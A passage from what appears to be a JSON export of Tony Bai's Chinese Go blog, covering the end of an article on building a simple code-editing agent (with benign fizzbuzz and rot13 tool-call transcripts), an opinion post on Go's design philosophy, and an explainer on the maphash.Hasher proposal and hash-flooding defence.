返回“文件不存在”错误，并且 AI 提供的 old_str 是空字符串，则调用 createNewFile 来创建文件，将 new_str 作为初始内容。 如果文件存在，则使用 strings.Replace（替换所有匹配项）执行内容替换，并用 os.WriteFile 写回磁盘。 这种区分处理使得一个工具能同时处理创建和编辑两种场景。\n步骤 (实验 6 – 创建):\n输入: hey buddy, create fizzbuzz.js… 观察: (可能 list_files) -\u0026gt; Tool Call: edit_file({“path”:”fizzbuzz.js”,”old_str”:”\u0026quot;,”new_str”:”…”}) -\u0026gt; AI 回复成功。 验证: 退出 Agent，检查 fizzbuzz.js 是否生成。 Agent输出与执行结果： You: hey buddy, create fizzbuzz.js that I can run with Nodejs and that has fizzbuzz in it and executes it Tool Call: edit_file({\u0026#34;path\u0026#34;:\u0026#34;fizzbuzz.js\u0026#34;,\u0026#34;old_str\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;new_str\u0026#34;:\u0026#34;// FizzBuzz in Node.js\\nfunction fizzbuzz(n) {\\n for (let i = 1; i \u0026lt;= n; i++) {\\n if (i % 15 === 0) console.log(\\\u0026#34;FizzBuzz\\\u0026#34;);\\n else if (i % 3 === 0) console.log(\\\u0026#34;Fizz\\\u0026#34;);\\n else if (i % 5 === 0) console.log(\\\u0026#34;Buzz\\\u0026#34;);\\n else console.log(i);\\n }\\n}\\n\\n// Execute FizzBuzz for numbers 1 to 100\\nfizzbuzz(100);\u0026#34;}) AI: Done! I\u0026#39;ve created **`fizzbuzz.js`** with a FizzBuzz implementation that runs in Node.js. Here\u0026#39;s what it does: 1. **Function**: - `fizzbuzz(n)` prints numbers from 1 to `n`, replacing multiples of 3 with \u0026#34;Fizz\u0026#34;, multiples of 5 with \u0026#34;Buzz\u0026#34;, and multiples of both with \u0026#34;FizzBuzz\u0026#34;. 2. **Execution**: - It runs for numbers **1 to 100** by default. ### How to Run: node fizzbuzz.js Let me know if you\u0026#39;d like any tweaks! 生成的fizzbuzz.js的文件内容如下：\n$cat fizzbuzz.js // FizzBuzz in Node.js function fizzbuzz(n) { for (let i = 1; i \u0026lt;= n; i++) { if (i % 15 === 0) console.log(\u0026#34;FizzBuzz\u0026#34;); else if (i % 3 === 0) console.log(\u0026#34;Fizz\u0026#34;); else if (i % 5 === 0) console.log(\u0026#34;Buzz\u0026#34;); else console.log(i); } } // Execute FizzBuzz for numbers 1 to 100 fizzbuzz(100);% 使用node运行该fizzbuzz.js的文件，输出如下：\n$node fizzbuzz.js 1 2 Fizz 4 Buzz Fizz 7 8 Fizz Buzz ... ... 97 98 Fizz Buzz 步骤 (实验 7 – 编辑): 准备: 确保 fizzbuzz.js 存在。 运行 Agent。 输入: Please edit fizzbuzz.js so that it only prints until 15 观察: read_file -\u0026gt; edit_file (改代码) -\u0026gt; (可能) edit_file (改注释) -\u0026gt; AI 回复成功。 验证: 退出 Agent，检查 fizzbuzz.js 是否修改。 Agent输出与执行结果： You: Please edit fizzbuzz.js so that it only prints until 15 Tool Call: edit_file({\u0026#34;path\u0026#34;:\u0026#34;fizzbuzz.js\u0026#34;,\u0026#34;old_str\u0026#34;:\u0026#34;// Execute FizzBuzz for numbers 1 to 100\\nfizzbuzz(100);\u0026#34;,\u0026#34;new_str\u0026#34;:\u0026#34;// Execute FizzBuzz for numbers 1 to 15\\nfizzbuzz(15);\u0026#34;}) AI: Got it! I updated **`fizzbuzz.js`** to print FizzBuzz only up to **15** instead of 100. ### How to Run: node fizzbuzz.js Now it’ll output: 1 2 Fizz 4 Buzz Fizz 7 8 Fizz Buzz 11 Fizz 13 14 FizzBuzz Let me know if you\u0026#39;d like further changes! 查看更新后的fizzbuzz.js：\n$cat fizzbuzz.js // FizzBuzz in Node.js function fizzbuzz(n) { for (let i = 1; i \u0026lt;= n; i++) { if (i % 15 === 0) console.log(\u0026#34;FizzBuzz\u0026#34;); else if (i % 3 === 0) console.log(\u0026#34;Fizz\u0026#34;); else if (i % 5 === 0) console.log(\u0026#34;Buzz\u0026#34;); else console.log(i); } } // Execute FizzBuzz for numbers 1 to 15 fizzbuzz(15);% 运行更新后的fizzbuzz.js结果如下：\n$node fizzbuzz.js 1 2 Fizz 4 Buzz Fizz 7 8 Fizz Buzz 11 Fizz 13 14 FizzBuzz 步骤 (实验 8 – 创建): 输入: Create a congrats.js script that rot13-decodes… 观察: (可能 list_files) -\u0026gt; Tool Call: edit_file({“path”:”congrats.js”,”old_str”:”\u0026quot;,”new_str”:”…”}) -\u0026gt; AI 回复成功。 验证: 退出 Agent，检查 congrats.js 是否生成，运行 node congrats.js 确认输出。 Agent输出与执行结果： You: Create a congrats.js script that rot13-decodes the following string \u0026#39;Pbatenghyngvbaf ba ohvyqvat n pbqr-rqvgvat ntrag!\u0026#39; and prints it AI: Here\u0026#39;s the plan: 1. I\u0026#39;ll create a **`congrats.js`** script. 2. It will **ROT13-decode** the string `\u0026#39;Pbatenghyngvbaf ba ohvyqvat n pbqr-rqvgvat ntrag!\u0026#39;`. 3. The decoded result will be printed to the console. Let me implement this for you. Tool Call: edit_file({\u0026#34;path\u0026#34;:\u0026#34;congrats.js\u0026#34;,\u0026#34;old_str\u0026#34;:\u0026#34;\u0026#34;,\u0026#34;new_str\u0026#34;:\u0026#34;// ROT13 decoder in Node.js\\nfunction rot13(str) {\\n return str.replace(/[a-zA-Z]/g, function(c) {\\n const base = c \u0026lt;= \u0026#39;Z\u0026#39; ? 65 : 97;\\n return String.fromCharCode((c.charCodeAt(0) - base + 13) % 26 + base);\\n });\\n}\\n\\n// Encoded string\\nconst encoded = \u0026#39;Pbatenghyngvbaf ba ohvyqvat n pbqr-rqvgvat ntrag!\u0026#39;;\\n\\n// Decode and print\\nconsole.log(rot13(encoded));\u0026#34;}) AI: Done! I\u0026#39;ve created **`congrats.js`** for you. Here\u0026#39;s what it does: 1. **ROT13 Decoding**: - The script decodes the string `\u0026#39;Pbatenghyngvbaf ba ohvyqvat n pbqr-rqvgvat ntrag!\u0026#39;` using ROT13. 2. **Output**: - Running it will print the decoded message to the console. ### How to Run: node congrats.js The decoded result should appear. Let me know if you\u0026#39;d like to tweak anything! 查看生成的congrats.js结果如下：\n$cat congrats.js // ROT13 decoder in Node.js function rot13(str) { return str.replace(/[a-zA-Z]/g, function(c) { const base = c \u0026lt;= \u0026#39;Z\u0026#39; ? 65 : 97; return String.fromCharCode((c.charCodeAt(0) - base + 13) % 26 + base); }); } // Encoded string const encoded = \u0026#39;Pbatenghyngvbaf ba ohvyqvat n pbqr-rqvgvat ntrag!\u0026#39;; // Decode and print console.log(rot13(encoded));% 运行生成的congrats.js结果如下：\n$node congrats.js Congratulations on building a code-editing agent! 通过这些结合了代码片段和解释的步骤，你应该能更清晰地理解 Agent 在每个实验中是如何利用其被赋予的工具和核心循环机制来完成任务的。这再次印证了 Thorsten Ball 的观点：核心很简单，但组合起来却能产生强大的效果。\n简单背后的深思：Agent 的真正壁垒在哪？ 既然核心逻辑相对简单，那是否意味着构建一个优秀的 Agent 应用就没有门槛了呢？显然不是。Thorsten Ball 的“体力活” (Elbow Grease) 一词点醒了我们：真正的挑战和壁垒，在于核心逻辑之外的大量工程细节和产品打磨。\n这包括但不限于：\n提示词工程 (Prompt Engineering): 如何设计出精确、高效、能引导 LLM 稳定输出预期格式和进行合理工具调用的 System Prompt 和 User Prompt？ 工具设计与健壮性 (Tool Design \u0026amp; Robustness): 如何设计出功能明确、接口清晰、并且足够健壮（能处理各种边缘情况和错误输入）的工具？简单的字符串替换编辑文件显然是不够的，更复杂的场景需要更精密的工具（如 AST 操作、diff 应用等）。 状态管理与长上下文: 如何有效管理 Agent 的长期记忆、任务状态、以及在 LLM 的上下文窗口限制下处理复杂的多步骤任务？ 错误处理与恢复: 当 LLM 理解错误、工具执行失败或外部环境变化时，Agent 如何优雅地处理错误、进行重试或寻求用户帮助？ 用户体验与集成 (UI/UX \u0026amp; Integration): 如何将 Agent 无缝集成到用户的工作流中（如 IDE 插件、命令行工具、Web 应用）？如何提供直观、高效的交互界面？ 性能与成本 (Performance \u0026amp; Cost): 如何优化 Agent 的响应速度？如何控制频繁调用 LLM API 带来的成本？ 安全性: 如何确保 Agent 不会执行危险操作，或者被恶意利用？工具的权限控制至关重要。 这些才是构建一个能在现实世界中可靠、高效、安全地工作的 Agent 应用时，需要投入大量时间和精力去解决的真正工程难题。未来的 Agent 应用竞争，很可能就围绕着这些方面展开。\n小结：人人皆可 Agent？拥抱实践的力量 Thorsten Ball 的文章和我们的复现实验，共同揭示了一个令人兴奋的事实：理解和开始构建 AI Agent 的门槛，比许多人想象的要低得多。 其核心概念是清晰且可及的。\n这并不意味着打造卓越的 Agent 产品很容易，但它确实意味着，任何具备基本编程能力和对 LLM API 有所了解的开发者，都可以动手尝试，去探索 Agent 的可能性。\n不要被表面的复杂性所迷惑，正如“皇帝的新衣”所揭示的，有时最强大的能力隐藏在最简洁的原理背后。现在，轮到你去发现、去实践、去创造了。\n鼓励大家亲自尝试运行和修改这个Go Agent示例，感受一下与“你自己创造的智能体”协作编码的初步体验！\n想更进一步？开启你的 Go \u0026amp; AI 精进之旅！\n本文为你揭示了构建代码 Agent 的核心简洁性，但这仅仅是冰山一角。真正的挑战在于将这些基础概念，通过扎实的工程实践，转化为可靠、高效、能在实际场景中创造价值的应用。\n如果你渴望在这条激动人心的道路上走得更远、更深，希望系统性学习如何用Go构建AI原生应用，深入探索 Agent、RAG（检索增强生成）、模型集成、向量数据库应用等前沿实践，我强烈推荐我的知识星球**「Gopher的AI原生应用开发第一课」。在这里，我们不只有理论探讨，更有动手实战项目、最新的技术趋势解读、活跃的高质量社群交流，以及与我的直接互动答疑**。如果你对用 Go 在 AI 时代创造真正有影响力的应用充满热情，这里将是你的最佳实践场和加速器。\n扫码加入「Go \u0026amp; AI 精进营」知识星球，开启你的 AI 原生开发之旅！ 并且，体系化Go核心进阶内容：「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，将帮助你夯实Go内功\n你的支持，是创作的最大动力！\n最后，如果你觉得本文对你有启发、有帮助：\n【分享】 给你的朋友、同事或技术社群，一起交流探讨。 【关注】 我的公众号「[ iamtonybai ]」，第一时间获取更多Go语言、AI应用、云原生和架构思考与实践的硬核干货！ 感谢你的耐心阅读与宝贵支持！期待在学习的路上与你继续同行！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/18/reproduce-thorsten-balls-code-agent/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/reproduce-thorsten-balls-code-agent-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/04/18/reproduce-thorsten-balls-code-agent\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/04/18/reproduce-thorsten-balls-code-agent\"\u003ehttps://tonybai.com/2025/04/18/reproduce-thorsten-balls-code-agent\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e人工智能Agent风头正劲，但构建它们真的那么难吗？本文深入解读Thorsten Ball 的“皇帝新衣”论，并通过一个 Go 标准库 + OpenAI Compatible API + DeepSeek的实战复现，揭示代码编辑 Agent 的核心简洁性，探讨真正的挑战与机遇。\u003c/p\u003e","title":"代码Agent没有护城河？我用Go标准库和DeepSeek证明给你看！"},{"content":"“Go is badly designed”？它像极了我们当年恨过的物理老师！ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n“Go is badly designed”？它像极了我们当年恨过的物理老师！ 四月 17, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/17/go-is-badly-designed\n大家好，我是Tony Bai。\n今天刷X (前Twitter) 的时候，看到Golang Insiders社区下面这条推文，真是差点扑哧一声笑出来，感觉说得太形象了，必须分享给大家：\n这位叫Lyes的开发者回应 “Go is badly designed” (Go 语言设计得很糟糕) 的说法，他打了个比方：\n这让我想起了我的高中物理老师，我们当时都恨他，因为他从不‘放水’简化物理知识。课难、考试难，大部分人在他手下分数都不高，所以他自然成了‘坏老师’。\nGo 语言就有点像他。它从不‘放水’，直面问题。你可以很快用它变得高效，写出远比用 Python 或 JavaScript 写得更好的软件。\n但你也得知道，这门语言不会‘溺爱’你。当你的服务器因为一个 nil map 或其他新手常犯的错误而 panic 时，别生气。\n不像 Rust，Go 的编译器不会在你编程生涯的每一刻都‘牵着你的手’。它会给你足够的方向让你知道该往哪走，满足你 80% 的需求，同时仍然保持你的生产力。\n怎么样？看完这段话，是不是像极了我们初学Go时，被nil pointer dereference 或 index out of range 当头棒喝的瞬间？ 像极了我们当年一边抱怨物理老师太严格、考试太变态，一边又不得不硬着头皮去啃那些公式和定理的样子？\nLyes 的这个比喻，可以说精准地戳中了 Go 语言的一些核心特质，也解释了为什么关于“Go是否设计糟糕”的争论从未停止。咱们今天就借着这个“物理老师”的比喻，好好聊聊Go的“坏脾气”和它背后的设计哲学。\n那个从不“放水”的“严格老师” Lyes 说 Go 不会 “dumb down anything(简化任何事物，去除复杂性)”，这太对了。Go语言的设计哲学里，“简洁”（Simplicity） 是核心原则之一，但这不代表“简单化”到隐藏问题的程度。相反，它选择直面问题：\n显式的错误处理 (if err != nil)：不像某些语言用try-catch将错误“藏”起来，Go强迫你几乎在每次可能出错的操作后都检查错误。这很“烦”，但它逼着你思考每一步潜在的风险，就像物理老师逼着你弄懂每个公式的推导过程。\n直白的运行时Panic：当你对一个 nil 的 map 或 slice 进行操作时，Go 不会帮你“优雅地”处理，而是直接给你一个运行时 panic，程序崩溃。这很“粗暴”，但它用最直接的方式告诉你：“同学，你这里犯了个基础错误，赶紧改！” 这不就是物理老师发现你基本概念没搞懂时，直接点名批评，让你印象深刻吗？\n没有“溺爱”的语法糖：相比一些现代语言，Go 的语法糖相对较少。它没有泛滥的操作符重载，没有复杂的隐式转换。很多事情需要你明确地写出来。这让代码有时候显得“啰嗦”，但大大降低了阅读和理解他人代码时的歧义，保证了大规模团队协作的效率。就像物理老师坚持用标准的符号和单位，不允许自创“简写”，是为了保证科学的严谨性。\n“坏老师”真的“坏”吗？—— 严格背后的价值 我们当年可能都偷偷抱怨过物理老师不近人情，但多年后回想，是不是反而感谢他的严格，才让我们打下了坚实的基础？Go 语言的“严格”同样如此：\n逼你养成好习惯：被 nil panic 搞崩溃几次后，你自然就学会了在使用 map/slice/pointer 前做检查，学会了初始化，学会了更严谨地思考边界条件。这种被“教训”出来的习惯，最终会融入你的编程血液，让你写出更健壮、更可靠的代码。这比那些“温柔”地帮你掩盖了问题，直到生产环境才爆发出更大危机的语言，是不是长期来看更负责任？\n简单直白，易于掌握核心：虽然会“当头棒喝”，但Go的核心概念相对较少，语法简洁。一旦你掌握了它的规则（比如错误处理模式、接口哲学、goroutine的使用），就能快速上手，并且写出的代码风格差异不会太大，易于团队维护。它不像某些语言，特性繁多，学习曲线陡峭，精通需要漫长时间。Go就像物理老师划定的核心考点，虽然难，但范围明确，努力就有回报。\n效率与务实：给你“80%的指引”：Lyes 提到了Go与Rust的对比，说Go不会“全程牵手”。这正是Go的务实之处。它在编译速度、开发效率和运行时安全之间做了一个取舍。它通过快速编译、垃圾回收、简洁的并发模型，让你能高效地构建系统，满足大部分（比如 80%）场景的需求。它相信开发者是成年人，应该为自己的代码负责，而不是让编译器承担所有检查的重任。这就像物理老师教会你核心原理和解题方法，但不会一步步带着你做完所有练习题，他相信你能举一反三，独立解决问题。\n不是“设计糟糕”，而是哲学不同 所以，“Go is badly designed” 吗？\n与其说是“糟糕”，不如说是设计哲学和目标受众的不同。\n如果你期望一门语言能像 Rust 那样，在编译期就为你消除几乎所有内存安全和并发风险，愿意为此付出更陡峭的学习曲线和更长的编译时间，那么 Go 可能确实“不够好”。 但如果你追求的是快速构建、高效部署、简单可靠、易于维护的大型后端系统，能接受在运行时处理一些本可避免的错误（并通过良好的实践和工具来减少它们），那么Go的设计哲学可能恰恰是它的优点。 Go 就像那位严格的物理老师，他可能不会让你在学习过程中时刻感到“舒适”，甚至会让你经历挫败和“阵痛”。但他目标明确，方法直接，逼着你打好基础，养成严谨的习惯，最终让你能够独立、高效地解决实际问题。\n那么，你怎么看？\n你觉得Go语言像不像你当年“恨过”的某位老师？ 你第一次遇到 nil panic 时是什么感受？是觉得Go设计糟糕，还是反思自己代码的问题？ 你更喜欢 Go 这种“给你方向，但不全程牵手”的方式，还是 Rust 那种“无微不至的保护”？ 欢迎在评论区留下你的看法，分享你和 Go “相爱相杀”的故事！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/17/go-is-badly-designed/","summary":"\u003cp\u003e“Go is badly designed”？它像极了我们当年恨过的物理老师！ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"“Go is badly designed”？它像极了我们当年恨过的物理老师！"},{"content":"自定义Hash终迎标准化？Go提案maphash.Hasher接口设计解读 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n自定义Hash终迎标准化？Go提案maphash.Hasher接口设计解读 四月 17, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/17/standardize-the-hash-function\n大家好，我是Tony Bai。\n随着Go泛型的落地和社区对高性能自定义容器需求的增长，如何为用户自定义类型提供一套标准、安全且高效的Hash计算与相等性判断机制，成为了Go核心团队面临的重要议题。近日，经过Go核心开发者多轮深入探讨，编号为#70471 的提案”hash: standardize the hash function”最终收敛并被接受，为Go生态引入了全新的maphash.Hasher[T] 接口，旨在统一自定义类型的Hash实现方式。\n这个旨在统一自定义类型Hash实现的提案令人期待，但我们首先需要理解，究竟是什么背景和痛点，促使Go社区必须着手解决自定义 Hash 的标准化问题呢？\n背景：为何需要标准化的Hash接口？ 在Go 1.18泛型发布之前，为自定义类型（尤其是非comparable类型）实现Hash往往需要开发者自行设计方案，缺乏统一标准。随着泛型的普及，开发者可以创建自定义的哈希表、集合等泛型数据结构，此时，一个标准的、能与这些泛型容器解耦的Hash和相等性判断机制变得至关重要。\n更关键的是安全性。一个简单的func(T) uint64类型的Hash函数看似直观和易实现，但极易受到Hash 洪水攻击 (Hash Flooding DoS) 的威胁。\n什么是Hash洪水攻击呢？ 简单来说，哈希表通过Hash函数将键（Key）分散到不同的“桶”（Bucket）中，理想情况下可以实现快速的O(1)平均查找、插入和删除。但如果Hash函数的设计存在缺陷或过于简单（例如，不使用随机种子），攻击者就可以精心构造大量具有相同Hash值的不同键。当这些键被插入到同一个哈希表中时，它们会集中在少数几个甚至一个“桶”里，导致这个桶形成一个长链表。此时，对这个桶的操作（如查找或插入）性能会从O(1)急剧退化到O(n)，消耗大量CPU时间。攻击者通过发送大量这样的冲突键，就能耗尽服务器资源，导致服务缓慢甚至完全不可用。\nGo内建的map类型通过为每个map实例使用内部随机化的 Seed（种子）来初始化其Hash函数，使得攻击者无法预测哪些键会产生冲突，从而有效防御了此类攻击。hash/maphash包也提供了基于maphash.Seed的安全Hash计算方式。因此，任何标准化的自定义Hash接口都必须将基于Seed的随机化纳入核心设计，以避免开发者在不知情的情况下引入安全漏洞。\n明确了标准化Hash接口的必要性，尤其是出于安全性的考量之后，Go核心团队又是如何一步步探索、权衡，最终从多种可能性中确定接口的设计方向的呢？其间的思考过程同样值得我们关注。\n设计演进：从简单函数到maphash.Hasher 围绕如何设计这个标准接口，Go 团队进行了广泛的讨论（相关issue: #69420, #69559, #70471）。\n最初，开发者们提出的 func(T) uint64 由于无法有效防御 Hash 洪水攻击而被迅速否定。\n随后，大家一致认为需要引入Seed，讨论的焦点则转向Seed的传递和使用方式：是作为函数参数（func(Seed, T) uint64）还是封装在接口或结构体中。对此，Ian Lance Taylor提出了Hasher[T]接口的雏形，包含Hash(T) uint64和Equal(T, T) bool方法，并通过工厂函数（如 MakeSeededHasher）来管理 Seed。 然而，这引发了关于Seed作用域（per-process vs per-table）和状态管理（stateless vs stateful）的进一步讨论。\nAustin Clements 提出了多种接口变体，并深入分析了不同设计的利弊，包括API 简洁性、性能（间接调用 vs 直接调用）、类型推断的限制以及易用性（是否容易误用导致不安全）。\n最终，为了更好地支持递归Hash（例如，一个结构体的Hash需要依赖其成员的Hash），讨论聚焦于将*maphash.Hash对象直接传递给Hash方法。maphash.Hash内部封装了Seed和Hash状态，能够方便地在递归调用中传递，简化了实现过程。\n经历了对不同方案的深入探讨和关键决策（例如引入 *maphash.Hash），最终被接受并写入提案的maphash.Hasher[T] 接口究竟长什么样？它的核心设计理念又是什么呢？接下来，让我们来详细解读。\n最终方案：maphash.Hasher[T]接口 经过审慎评估和实际代码验证（见CL 657296和CL 657297），Go团队最终接受了以下maphash.Hasher[T]接口定义：\npackage maphash // A Hasher is a type that implements hashing and equality for type T. // // A Hasher must be stateless. Hence, typically, a Hasher will be an empty struct. type Hasher[T any] interface { // Hash updates hash to reflect the contents of value. // // If two values are [Equal], they must also Hash the same. // Specifically, if Equal(a, b) is true, then Hash(h, a) and Hash(h, b) // must write identical streams to h. Hash(hash *Hash, value T) // 注意：这里的 hash 是 *maphash.Hash 类型 Equal(a, b T) bool } 该接口的核心设计理念可以归纳为如下几点：\nStateless Hasher: Hasher[T] 的实现本身应该是无状态的（通常是空结构体），所有状态（包括 Seed）都由传入的 *maphash.Hash 对象管理。 安全保障: 通过强制使用maphash.Hash，确保了 Hash 计算过程与 Go 内建的、经过安全加固的Hash算法（如 runtime.memhash）保持一致，并天然集成了Seed 机制。 递归友好: 在计算复杂类型的 Hash 时，可以直接将 *maphash.Hash 对象传递给成员类型的 Hasher，使得递归实现简洁高效。 关注点分离: 将 Hash 计算 (Hash) 和相等性判断 (Equal) 分离，并与类型 T 本身解耦，提供了更大的灵活性（类似于 sort.Interface 的设计哲学）。 下面是一个maphash.Hasher的使用示例：\npackage main import ( \u0026#34;hash/maphash\u0026#34; \u0026#34;slices\u0026#34; ) // 自定义类型 type Strings []string // 为 Strings 类型实现 Hasher type StringsHasher struct{} // 无状态 func (StringsHasher) Hash(mh *maphash.Hash, val Strings) { // 使用 maphash.Hash 的方法写入数据 maphash.WriteComparable(mh, len(val)) // 先写入长度 for _, s := range val { mh.WriteString(s) } } func (StringsHasher) Equal(a, b Strings) bool { return slices.Equal(a, b) } // 另一个包含自定义类型的结构体 type Thing struct { ss Strings i int } // 为 Thing 类型实现 Hasher (递归调用 StringsHasher) type ThingHasher struct{} // 无状态 func (ThingHasher) Hash(mh *maphash.Hash, val Thing) { // 调用成员类型的 Hasher StringsHasher{}.Hash(mh, val.ss) // 为基础类型写入 Hash maphash.WriteComparable(mh, val.i) } func (ThingHasher) Equal(a, b Thing) bool { // 优先比较简单字段 if a.i != b.i { return false } // 调用成员类型的 Equal return StringsHasher{}.Equal(a.ss, b.ss) } // 假设有一个自定义的泛型 Set type Set[T any, H Hasher[T]] struct { hash H // Hasher 实例 (通常是零值) seed maphash.Seed // ... 其他字段，如存储数据的 bucket ... } // Set 的 Get 方法示例 func (s *Set[T, H]) Has(val T) bool { var mh maphash.Hash mh.SetSeed(s.seed) // 使用 Set 实例的 Seed 初始化 maphash.Hash // 使用 Hasher 计算 Hash s.hash.Hash(\u0026amp;mh, val) hashValue := mh.Sum64() // ... 在 bucket 中根据 hashValue 查找 ... // ... 找到潜在匹配项 potentialMatch 后，使用 Hasher 的 Equal 判断 ... // if s.hash.Equal(val, potentialMatch) { // return true // } // ... // 简化示例，仅展示调用 _ = hashValue // 避免编译错误 return false // 假设未找到 } func main() { // 创建 Set 实例时，需要提供具体的类型和对应的 Hasher 类型 var s Set[Thing, ThingHasher] s.seed = maphash.MakeSeed() // 初始化 Seed // ... 使用 s ... found := s.Has(Thing{ss: Strings{\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;}, i: 1}) println(found) } 这个精心设计的 maphash.Hasher[T] 接口及其使用范例展示了其潜力和优雅之处。然而，任何技术方案在落地过程中都难免遇到挑战，这个新接口也不例外。它目前还面临哪些已知的问题，未来又有哪些值得期待的发展方向呢？\n挑战与展望 尽管 maphash.Hasher 接口设计优雅且解决了核心问题，但也存在一些已知挑战：\n编译器优化: 当前 Go 编译器（截至讨论时）在处理接口方法调用时，可能会导致传入的 *maphash.Hash 对象逃逸到堆上，影响性能。这是 Go 泛型和编译器优化（#48849）需要持续改进的地方，但核心团队认为不应因此牺牲接口设计的合理性。 易用性: maphash.Hash 目前主要提供 Write, WriteString, WriteByte 以及泛型的 WriteComparable。对于其他基础类型（如各种宽度的整数、浮点数），可能需要更多便捷的 WriteXxx 方法来提升开发体验。 生态整合: 未来 Go 标准库或扩展库中的泛型容器（如可能出现的 container/set 或 container/map 的变体）有望基于此接口构建，从而允许用户无缝接入自定义类型的 Hash 支持。 综合来看，尽管存在一些挑战需要克服，但maphash.Hasher[T]接口的提出无疑是Go泛型生态发展中的一个重要里程碑。现在，让我们对它的意义和影响做一个简要的总结。\n小结 maphash.Hasher[T]接口的接受是Go在泛型时代标准化核心机制的重要一步。它不仅为开发者提供了一种统一、安全的方式来为自定义类型实现 Hash 和相等性判断，也为 Go 生态中高性能泛型容器的发展奠定了坚实的基础。虽然还存在一些编译器优化和 API 便利性方面的挑战，但其核心设计的合理性和前瞻性预示着 Go 在类型系统和泛型支持上的持续进步。我们期待看到这个接口在未来Go版本中的落地，以及它为Go开发者带来的便利。\n更多信息:\nGitHub Issue:https://github.com/golang/go/issues/70471 相关 CL (maphash):https://go.dev/cl/657296 相关 CL (go/types):https://go.dev/cl/657297 (展示了该接口在 go/types 包中的应用) 对于这个备受关注的 maphash.Hasher 接口提案，你怎么看？它是否满足了你对自定义类型 Hash 标准化的期待？或者你认为还有哪些挑战或改进空间？\n非常期待在评论区看到你的真知灼见！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher 